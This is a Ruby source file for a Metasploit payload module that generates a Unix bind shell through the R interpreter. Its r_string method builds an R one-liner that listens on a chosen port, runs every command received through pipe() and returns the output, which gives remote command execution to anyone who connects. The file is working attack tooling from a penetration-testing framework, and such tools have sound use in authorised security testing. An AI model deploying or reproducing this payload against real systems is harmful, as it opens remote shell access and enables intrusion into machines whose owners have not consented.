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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 132
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  include Msf::Payload::Single
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  include Msf::Payload::R
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'        => 'Unix Command Shell, Bind TCP (via R)',
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     'Description' => 'Continually listen for a connection and spawn a command shell via R',
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     'Author'      => [ 'RageLtMan <rageltman[at]sempervictus>' ],
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     'License'     => MSF_LICENSE,
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     'Platform'    => 'unix',
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     'Arch'        => ARCH_CMD,
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     'Handler'     => Msf::Handler::BindTcp,
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     'Session'     => Msf::Sessions::CommandShell,
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     'PayloadType' => 'cmd',
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     'RequiredCmd' => 'R',
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     'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
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          ))
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    register_advanced_options(
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      [
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        OptString.new('RPath', [true, 'The path to the R executable', 'R'])
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      ]
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    )
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  end
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  def generate(_opts = {})
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    return prepends(r_string)
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  end
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  def prepends(r_string)
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    return "#{datastore['RPath']} -e \"#{r_string}\""
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  end
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  def r_string
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    return "s<-socketConnection(port=#{datastore['LPORT']}," +
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      "blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" +
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      "(pipe(readLines(s,1))),s)}"
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  end
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end
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